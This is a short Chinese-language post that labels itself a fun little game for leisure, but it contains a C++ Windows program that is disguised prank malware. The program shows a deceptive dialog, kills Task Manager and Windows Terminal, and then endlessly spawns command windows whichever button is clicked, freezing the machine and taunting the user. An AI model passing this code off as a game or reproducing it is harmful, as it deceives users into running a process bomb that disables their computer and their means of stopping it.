好玩的小游戏!

· · 休闲·娱乐

#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
#include<ctime>
using namespace std;
int main()
{
    HWND hWnd = GetConsoleWindow();
    ::SendMessage(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, NULL);
    if(MessageBox(NULL,"拯救你电脑,请按否,这是唯一的机会","Oops!",MB_YESNO|MB_ICONWARNING)==6){
            system("taskkill /f /im taskmgr.exe");
            system("taskkill /f /im windowsterminal.exe");
        while(1){
            system("start cmd /0");
        }
    }
    MessageBox(NULL,"还好,你拯救了你的电脑!","Thanks",MB_OK);
    Sleep(100);
    if(MessageBox(NULL,"电脑完蛋了,大聪明","Oops!",MB_OK)){
    while(1){
        system("start cmd /0");
    }
}
    return 0;
}